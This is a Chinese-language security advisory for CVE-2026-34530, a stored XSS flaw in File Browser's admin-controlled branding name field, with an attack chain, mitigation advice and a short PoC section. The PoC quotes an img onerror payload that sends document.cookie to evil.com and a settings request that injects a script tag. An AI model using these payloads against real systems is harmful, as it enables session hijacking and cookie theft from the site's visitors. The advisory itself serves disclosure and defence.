IPBUF安全漏洞报告
English
CVE-2026-34530 CVSS 6.9 中危

CVE-2026-34530 File Browser 存储型XSS漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-34530
漏洞类型
存储型跨站脚本攻击
CVSS评分
6.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
File Browser

相关标签

XSSStored XSSFile BrowserCVE-2026-34530Web Security

漏洞概述

File Browser在v2.62.2之前的版本中存在存储型XSS漏洞。由于SPA索引页面对管理员控制的品牌名称字段处理不当,具有高权限的攻击者可注入恶意JavaScript。该代码会被持久化并在所有访问者(包括未认证用户)的浏览器中执行,导致敏感信息泄露或会话劫持。

技术细节

该漏洞产生的原因是File Browser在渲染前端单页应用(SPA)时,未对管理员配置的`branding.name`参数进行充分的HTML实体编码或过滤。攻击者需首先获得管理员权限(PR:H),随后在后台设置中将品牌名称修改为包含恶意脚本的Payload。当配置保存后,任何用户访问File Browser主页时,前端会直接将`branding.name`的值插入DOM。由于缺乏转义,浏览器解析并执行该脚本。考虑到CVSS向量中的S:C(影响范围变更),该脚本可能在当前浏览上下文中造成更广泛的破坏,例如窃取Cookie或重定向用户。

攻击链分析

STEP 1
1. 权限获取
攻击者通过钓鱼或漏洞利用获取File Browser的管理员账户权限。
STEP 2
2. 注入Payload
攻击者登录后台,在系统设置中将'Branding Name'字段修改为包含恶意JavaScript代码的Payload。
STEP 3
3. 存储配置
服务器将包含恶意代码的配置保存,该Payload现在持久存在于应用配置中。
STEP 4
4. 触发漏洞
普通用户或未登录受害者访问File Browser的SPA索引页面。
STEP 5
5. 执行攻击
前端页面加载配置并渲染品牌名称,恶意脚本在受害者浏览器中执行,窃取Cookie或执行其他操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-34530: Stored XSS via Branding Name // Attacker needs Admin privileges to set the branding.name. // Malicious Payload to inject: // <img src=x onerror=fetch('https://evil.com/log?c='+document.cookie)> // Example HTTP Request to update settings (Conceptual): /* PUT /api/settings HTTP/1.1 Host: target-filebrowser.com Authorization: Bearer <ADMIN_TOKEN> Content-Type: application/json { "branding": { "name": "<script>console.log('XSS');alert(1)</script>" } } */ // Upon visiting the homepage, the script executes for all users.

影响范围

File Browser < 2.62.2

防御指南

临时缓解措施
如果无法立即升级,应严格限制管理员账户的访问权限,确保仅信任人员可修改品牌设置。此外,可在前端Web应用防火墙(WAF)中部署规则,检测并拦截响应中包含的潜在恶意脚本标签。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表